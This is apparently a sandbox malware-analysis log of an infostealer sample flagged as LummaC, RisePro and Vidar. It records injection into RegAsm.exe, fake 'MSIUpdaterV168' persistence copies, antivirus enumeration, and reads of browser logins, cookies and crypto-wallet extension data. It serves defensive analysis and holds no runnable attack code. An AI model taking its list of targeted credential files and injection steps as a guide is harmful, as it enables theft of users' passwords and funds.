Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44F000
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E008

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe "C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe "C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe "C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: unknown unknown
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: unknown unknown
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: unknown unknown
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe

Code function: 0_2_00B3BB0C cpuid

0_2_00B3BB0C

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: EnumSystemLocalesW,	0_2_00B4C8B0
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: GetLocaleInfoW,	0_2_00B558F2
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00B5505D
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00B559C1
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: EnumSystemLocalesW,	0_2_00B552FF
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: GetLocaleInfoW,	0_2_00B55258
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: EnumSystemLocalesW,	0_2_00B553E5
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: EnumSystemLocalesW,	0_2_00B5534A
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00B55470
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: GetLocaleInfoW,	0_2_00B4CD79
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: GetLocaleInfoW,	0_2_00B556C3
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00B557EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: CreateDirectoryA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,	3_2_004E06D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	3_2_00452B5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_00452D5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_00452E51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_00452E06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_00452EEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_00452F77
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_004531CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_0044B1B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_004532F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_004533F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_004534CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_0044B734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoEx,FormatMessageA,	3_2_00431D94
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	11_2_0005505D
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: EnumSystemLocalesW,	11_2_0004C8B0
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: GetLocaleInfoW,	11_2_000558F2
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	11_2_000559C1
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: GetLocaleInfoW,	11_2_00055258
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: EnumSystemLocalesW,	11_2_000552FF
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: EnumSystemLocalesW,	11_2_0005534A
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: EnumSystemLocalesW,	11_2_000553E5
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	11_2_00055470
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: GetLocaleInfoW,	11_2_0004CD79
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: GetLocaleInfoW,	11_2_000556C3
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	11_2_000557EC
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: EnumSystemLocalesW,	12_2_00A2C8B0
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,	12_2_00A358F2
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	12_2_00A3505D
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	12_2_00A359C1
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: EnumSystemLocalesW,	12_2_00A352FF
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,	12_2_00A35258
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: EnumSystemLocalesW,	12_2_00A353E5
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: EnumSystemLocalesW,	12_2_00A3534A
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	12_2_00A35470
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,	12_2_00A2CD79
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,	12_2_00A356C3
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	12_2_00A357EC
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	22_2_0076506D
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: EnumSystemLocalesW,	22_2_0075C8C0
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: GetLocaleInfoW,	22_2_00765902
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	22_2_007659D1
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: GetLocaleInfoW,	22_2_00765268
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: EnumSystemLocalesW,	22_2_0076535A
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: EnumSystemLocalesW,	22_2_0076530F
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: EnumSystemLocalesW,	22_2_007653F5
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	22_2_00765480
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: GetLocaleInfoW,	22_2_0075CD89
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: GetLocaleInfoW,	22_2_007656D3
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	22_2_007657FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	23_2_1B772112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	23_2_1B772112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	23_2_1B94FF17
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	23_2_1B963300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	23_2_1B773AA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	23_2_1B962DF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	23_2_1B962D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	23_2_1B962CB6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	23_2_0041098E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe

Code function: 0_2_00B3BF33 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00B3BF33

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_004E06D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_004E06D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00544C30 GetVersionExA,GetFileAttributesW,GetFileAttributesA,

3_2_00544C30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: RegAsm.exe, 00000017.00000002.4149119694.0000000001141000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected RisePro Stealer

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\U4XS0oCaLxVS1ZKFaAUvhYs.zip, type: DROPPED

Yara detected Vidar stealer

Source: Yara match	File source: 22.2.EWDN0G9BRDazVJeatNlA.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MSIUpdaterV168.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.MSIUpdaterV168.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000002.1917031958.0000000000C38000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1855823531.0000000000778000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1878372418.0000000000C38000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EWDN0G9BRDazVJeatNlA.exe PID: 7032, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSIUpdaterV168.exe PID: 7176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSIUpdaterV168.exe PID: 7188, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\signons.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
